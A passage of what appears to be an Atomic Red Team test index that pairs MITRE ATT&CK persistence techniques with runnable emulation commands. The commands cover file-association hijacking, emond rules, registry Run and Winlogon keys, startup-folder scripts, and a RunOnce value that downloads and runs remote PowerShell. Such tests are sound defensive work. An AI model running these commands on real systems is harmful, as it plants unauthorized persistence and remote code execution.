      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - User
      type: attack-pattern
      id: attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c
      created: '2020-01-24T13:40:47.282Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1546/001
        external_id: T1546.001
      - source_name: Microsoft Change Default Programs
        description: Microsoft. (n.d.). Change which programs Windows 7 uses by default.
          Retrieved July 26, 2016.
        url: https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs
      - source_name: Microsoft File Handlers
        description: Microsoft. (n.d.). Specifying File Handlers for File Name Extensions.
          Retrieved November 13, 2014.
        url: http://msdn.microsoft.com/en-us/library/bb166549.aspx
      - source_name: Microsoft Assoc Oct 2017
        description: Plett, C. et al.. (2017, October 15). assoc. Retrieved August
          7, 2018.
        url: https://docs.microsoft.com/windows-server/administration/windows-commands/assoc
      - source_name: TrendMicro TROJ-FAKEAV OCT 2012
        description: Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August
          8, 2018.
        url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
      identifier: T1546.001
    atomic_tests:
    - name: Change Default File Association
      auto_generated_guid: 10a08978-2045-4d62-8c42-1957bbbea102
      description: "Change Default File Association From cmd.exe of hta to notepad.\n\nUpon
        successful execution, cmd.exe will change the file association of .hta to
        notepad.exe. \n"
      supported_platforms:
      - windows
      input_arguments:
        target_extension_handler:
          description: txtfile maps to notepad.exe
          type: path
          default: txtfile
        extension_to_change:
          description: File Extension To Hijack
          type: string
          default: ".hta"
        original_extension_handler:
          description: File Extension To Revert
          type: string
          default: htafile
      executor:
        command: 'assoc #{extension_to_change}=#{target_extension_handler}

          '
        cleanup_command: 'assoc  #{extension_to_change}=#{original_extension_handler}

          '
        name: command_prompt
        elevation_required: true
  T1546.014:
    technique:
      x_mitre_platforms:
      - macOS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Ivan Sinyakov
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd
      created: '2020-01-24T15:15:13.426Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1546.014
        url: https://attack.mitre.org/techniques/T1546/014
      - source_name: magnusviri emond Apr 2016
        url: http://www.magnusviri.com/Mac/what-is-emond.html
        description: Reynolds, James. (2016, April 7). What is emond?. Retrieved September
          10, 2019.
      - source_name: xorrior emond Jan 2018
        url: https://www.xorrior.com/emond-persistence/
        description: Ross, Chris. (2018, January 17). Leveraging Emond on macOS For
          Persistence. Retrieved September 10, 2019.
      - source_name: sentinelone macos persist Jun 2019
        url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
        description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS.
          Retrieved September 10, 2019.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place.

        The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)

        Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Event Triggered Execution: Emond'
      x_mitre_detection: Monitor emond rules creation by checking for files created
        or modified in <code>/etc/emond.d/rules/</code> and <code>/private/var/db/emondClients</code>.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - Administrator
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1546.014
    atomic_tests:
    - name: Persistance with Event Monitor - emond
      auto_generated_guid: 23c9c127-322b-4c75-95ca-eff464906114
      description: 'Establish persistence via a rule run by OSX''s emond (Event Monitor)
        daemon at startup, based on https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124

        '
      supported_platforms:
      - macos
      input_arguments:
        plist:
          description: Path to attacker emond plist file
          type: path
          default: PathToAtomicsFolder/T1546.014/src/T1546.014_emond.plist
      executor:
        command: |
          sudo cp "#{plist}" /etc/emond.d/rules/T1546.014_emond.plist
          sudo touch /private/var/db/emondClients/T1546.014
        cleanup_command: |
          sudo rm /etc/emond.d/rules/T1546.014_emond.plist
          sudo rm /private/var/db/emondClients/T1546.014
        name: sh
        elevation_required: true
  T1574.010:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Services File Permissions Weakness
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

        Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Stefan Kanthak
      x_mitre_detection: "Look for changes to binaries and service executables that
        may normally occur during software updates. If an executable is written, renamed,
        and/or moved to match an existing service executable, it could be detected
        and correlated with other suspicious behavior. Hashing of binaries and service
        executables could be used to detect replacement against historical data.\n\nLook
        for abnormal process call trees from typical processes and services and for
        execution of other commands that could relate to Discovery or other adversary
        techniques. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Service: Service Metadata'
      x_mitre_effective_permissions:
      - SYSTEM
      - Administrator
      - User
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd
      created: '2020-03-12T20:43:53.998Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/010
        external_id: T1574.010
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
    atomic_tests: []
  T1547.001:
    technique:
      modified: '2023-10-16T09:08:22.319Z'
      name: 'Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'
      description: |-
        Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.

        The following run keys are created by default on Windows systems:

        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code>
        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>
        * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</code>
        * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>

        Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)

        Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is <code>C:\Users\\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</code>. The startup folder path for all users is <code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp</code>.

        The following Registry keys can be used to set startup folder items for persistence:

        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>
        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code>
        * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code>
        * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>

        The following Registry keys can control automatic startup of services during boot:

        * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code>
        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code>
        * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices</code>
        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices</code>

        Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

        * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code>
        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code>

        Programs listed in the load value of the registry key <code>HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> run automatically for the currently logged-on user.

        By default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> is set to <code>autocheck autochk *</code>. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

        Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Oddvar Moe, @oddvarmoe
      - Dray Agha, @Purp1eW0lf, Huntress Labs
      - Harun Küßner
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.

        Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '2.0'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279
      created: '2020-01-23T22:02:48.566Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1547/001
        external_id: T1547.001
      - source_name: Malwarebytes Wow6432Node 2016
        description: Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved
          August 3, 2020.
        url: https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/
      - source_name: Microsoft Wow6432Node 2018
        description: Microsoft. (2018, May 31). 32-bit and 64-bit Application Data
          in the Registry. Retrieved August 3, 2020.
        url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry
      - source_name: Microsoft Run Key
        description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November
          12, 2014.
        url: http://msdn.microsoft.com/en-us/library/aa376977
      - source_name: Oddvar Moe RunOnceEx Mar 2018
        description: Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden
          from Autoruns.exe. Retrieved June 29, 2018.
        url: https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1547.001
    atomic_tests:
    - name: Reg Key Run
      auto_generated_guid: e55be3fd-3521-4610-9d1a-e210e42dcf05
      description: "Run Key Persistence\n\nUpon successful execution, cmd.exe will
        modify the registry by adding \\\"Atomic Red Team\\\" to the Run key. Output
        will be via stdout. \n"
      supported_platforms:
      - windows
      input_arguments:
        command_to_execute:
          description: Thing to Run
          type: path
          default: C:\Path\AtomicRedTeam.exe
      executor:
        command: 'REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V
          "Atomic Red Team" /t REG_SZ /F /D "#{command_to_execute}"

          '
        cleanup_command: 'REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
          /V "Atomic Red Team" /f >nul 2>&1

          '
        name: command_prompt
    - name: Reg Key RunOnce
      auto_generated_guid: 554cbd88-cde1-4b56-8168-0be552eed9eb
      description: "RunOnce Key Persistence.\n\nUpon successful execution, cmd.exe
        will modify the registry to load AtomicRedTeam.dll to RunOnceEx. Output will
        be via stdout. \n"
      supported_platforms:
      - windows
      input_arguments:
        thing_to_execute:
          description: Thing to Run
          type: path
          default: C:\Path\AtomicRedTeam.dll
      executor:
        command: 'REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend
          /v 1 /d "#{thing_to_execute}"

          '
        cleanup_command: 'REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend
          /v 1 /f >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: PowerShell Registry RunOnce
      auto_generated_guid: eb44f842-0457-4ddc-9b92-c4caa144ac42
      description: |
        RunOnce Key Persistence via PowerShell
        Upon successful execution, a new entry will be added to the runonce item in the registry.
      supported_platforms:
      - windows
      input_arguments:
        thing_to_execute:
          description: Thing to Run
          type: path
          default: powershell.exe
        reg_key_path:
          description: Path to registry key to update
          type: path
          default: HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce
      executor:
        command: |
          $RunOnceKey = "#{reg_key_path}"
          set-itemproperty $RunOnceKey "NextRun" '#{thing_to_execute} "IEX (New-Object Net.WebClient).DownloadString(`"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`")"'
        cleanup_command: 'Remove-ItemProperty -Path #{reg_key_path} -Name "NextRun"
          -Force -ErrorAction Ignore

          '
        name: powershell
        elevation_required: true
    - name: Suspicious vbs file run from startup Folder
      auto_generated_guid: 2cb98256-625e-4da9-9d44-f2e5f90b8bd5
      description: "vbs files can be placed in and ran from the startup folder to
        maintain persistance. Upon execution, \"T1547.001 Hello, World VBS!\" will
        be displayed twice. \nAdditionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start
        Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted
        and the user logs in.\n"
      supported_platforms:
      - windows
      executor:
        command: |
          Copy-Item "$PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
          Copy-Item "$PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"
          cscript.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
          cscript.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"
        cleanup_command: |
          Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" -ErrorAction Ignore
          Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs" -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Suspicious jse file run from startup Folder
      auto_generated_guid: dade9447-791e-4c8f-b04b-3a35855dfa06
      description: "jse files can be placed in and ran from the startup folder to
        maintain persistance.\nUpon execution, \"T1547.001 Hello, World JSE!\" will
        be displayed twice. \nAdditionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start
        Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted
        and the user logs in.\n"
      supported_platforms:
      - windows
      executor:
        command: |
          Copy-Item "$PathToAtomicsFolder\T1547.001\src\jsestartup.jse" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
          Copy-Item "$PathToAtomicsFolder\T1547.001\src\jsestartup.jse" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"
          cscript.exe /E:Jscript "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
          cscript.exe /E:Jscript "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"
        cleanup_command: |
          Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse" -ErrorAction Ignore
          Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse" -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Suspicious bat file run from startup Folder
      auto_generated_guid: 5b6768e4-44d2-44f0-89da-a01d1430fd5e
      description: |
        bat files can be placed in and executed from the startup folder to maintain persistance

        Upon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
        folder and will also run when the computer is restarted and the user logs in.
      supported_platforms:
      - windows
      executor:
        command: |
          Copy-Item "$PathToAtomicsFolder\T1547.001\src\batstartup.bat" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
          Copy-Item "$PathToAtomicsFolder\T1547.001\src\batstartup.bat" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"
          Start-Process "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
          Start-Process "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"
        cleanup_command: |
          Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat" -ErrorAction Ignore
          Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat" -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Add Executable Shortcut Link to User Startup Folder
      auto_generated_guid: 24e55612-85f6-4bd6-ae74-a73d02e3441d
      description: 'Adds a non-malicious executable shortcut link to the current users
        startup directory. Test can be verified by going to the users startup directory
        and checking if the shortcut link exists. '
      supported_platforms:
      - windows
      executor:
        command: "$Target = \"C:\\Windows\\System32\\calc.exe\"\n$ShortcutLocation
          = \"$home\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\calc_exe.lnk\"\n$WScriptShell
          = New-Object -ComObject WScript.Shell\n$Create = $WScriptShell.CreateShortcut($ShortcutLocation)\n$Create.TargetPath
          = $Target\n$Create.Save()      "
        cleanup_command: Remove-Item "$home\AppData\Roaming\Microsoft\Windows\Start
          Menu\Programs\Startup\calc_exe.lnk" -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Add persistance via Recycle bin
      auto_generated_guid: bda6a3d6-7aa7-4e89-908b-306772e9662f
      description: |
        Add a persistance via Recycle bin [vxunderground](https://github.com/vxunderground/VXUG-Papers/blob/main/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf)
        User have to clic on the recycle bin to lauch the payload (here calc)
      supported_platforms:
      - windows
      executor:
        command: reg ADD "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open\command"
          /ve /d "calc.exe" /f
        cleanup_command: reg DELETE "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open"
          /f
        name: command_prompt
    - name: SystemBC Malware-as-a-Service Registry
      auto_generated_guid: 9dc7767b-30c1-4cc4-b999-50cab5e27891
      description: |
        This Atomic will create a registry key called socks5_powershell for persistance access
        https://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c
      supported_platforms:
      - windows
      input_arguments:
        reg_key_value:
          description: Thing to Run
          type: path
          default: powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -File
        reg_key_path:
          description: Path to registry key to update
          type: path
          default: HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
      executor:
        command: |
          $RunKey = "#{reg_key_path}"
          Set-ItemProperty -Path $RunKey -Name "socks5_powershell" -Value "#{reg_key_value}"
        cleanup_command: 'Remove-ItemProperty -Path #{reg_key_path} -Name "socks5_powershell"
          -Force -ErrorAction Ignore

          '
        name: powershell
    - name: Change Startup Folder - HKLM Modify User Shell Folders Common Startup
        Value
      auto_generated_guid: acfef903-7662-447e-a391-9c91c2f00f7b
      description: "This test will modify the HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User
        Shell Folders -V \"Common Startup\" \nvalue to point to a new startup folder
        where a payload could be stored to launch at boot.  *successful execution
        requires system restart\n"
      supported_platforms:
      - windows
      input_arguments:
        new_startup_folder:
          description: new startup folder to replace standard one
          type: string
          default: "$env:TMP\\atomictest\\"
        payload:
          description: 'executable to be placed in new startup location '
          type: string
          default: C:\Windows\System32\calc.exe
      executor:
        command: |
          New-Item -ItemType Directory -path "#{new_startup_folder}"
          Copy-Item -path "#{payload}" -destination "#{new_startup_folder}"
          Set-ItemProperty -Path  "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Common Startup" -Value "#{new_startup_folder}"
        cleanup_command: |
          Set-ItemProperty -Path  "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Common Startup" -Value "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"
          Remove-Item "#{new_startup_folder}" -Recurse -Force
        name: powershell
        elevation_required: true
    - name: Change Startup Folder - HKCU Modify User Shell Folders Startup Value
      auto_generated_guid: 8834b65a-f808-4ece-ad7e-2acdf647aafa
      description: "This test will modify the HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User
        Shell Folders  -V \"Startup\" value \nto point to a new startup folder where
        a payload could be stored to launch at boot.  *successful execution requires
        system restart\n"
      supported_platforms:
      - windows
      input_arguments:
        new_startup_folder:
          description: new startup folder to replace standard one
          type: string
          default: "$env:TMP\\atomictest\\"
        payload:
          description: 'executable to be placed in new startup location '
          type: string
          default: C:\Windows\System32\calc.exe
      executor:
        command: |
          New-Item -ItemType Directory -path "#{new_startup_folder}"
          Copy-Item -path "#{payload}" -destination "#{new_startup_folder}"
          Set-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "#{new_startup_folder}"
        cleanup_command: |
          Set-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
          Remove-Item "#{new_startup_folder}" -Recurse -Force
        name: powershell
    - name: HKCU - Policy Settings Explorer Run Key
      auto_generated_guid: a70faea1-e206-4f6f-8d9a-67379be8f6f1
      description: "This test will create a new value under HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run
        to launch calc.exe on boot. \n*Requires reboot\n"
      supported_platforms:
      - windows
      input_arguments:
        target_key_value_name:
          description: registry value to crate on target key
          type: string
          default: atomictest
        payload:
          description: payload to execute
          type: string
          default: C:\Windows\System32\calc.exe
      executor:
        command: |
          if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){
            New-Item -ItemType Key -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
          }
          Set-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" -Value "#{payload}"
        cleanup_command: Remove-ItemProperty -Path  "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
          -Name "#{target_key_value_name}"
        name: powershell
        elevation_required: true
    - name: HKLM - Policy Settings Explorer Run Key
      auto_generated_guid: b5c9a9bc-dda3-4ea0-b16a-add8e81ab75f
      description: "This test will create a HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run
        key value to launch calc.exe on boot. \n*Requires reboot\n"
      supported_platforms:
      - windows
      input_arguments:
        target_key_value_name:
          description: registry value to crate on target key
          type: string
          default: atomictest
        payload:
          description: payload to execute
          type: string
          default: C:\Windows\System32\calc.exe
      executor:
        command: |
          if (!(Test-Path -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){
            New-Item -ItemType Key -Path  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
          }
          Set-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" -Value "#{payload}"
        cleanup_command: Remove-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
          -Name "#{target_key_value_name}"
        name: powershell
        elevation_required: true
    - name: HKLM - Append Command to Winlogon Userinit KEY Value
      auto_generated_guid: f7fab6cc-8ece-4ca7-a0f1-30a22fccd374
      description: |
        This test will append a command to the  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit value to launch calc.exe on boot.
        * Requires reboot
      supported_platforms:
      - windows
      input_arguments:
        payload:
          description: what to run
          type: string
          default: C:\Windows\System32\calc.exe
      executor:
        command: |
          $oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit");
          Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit-backup" -Value "$oldvalue";
          $newvalue = $oldvalue + " #{payload}";
          Set-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "$newvalue"
        cleanup_command: |-
          $oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Userinit-backup');
          Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "$oldvalue";
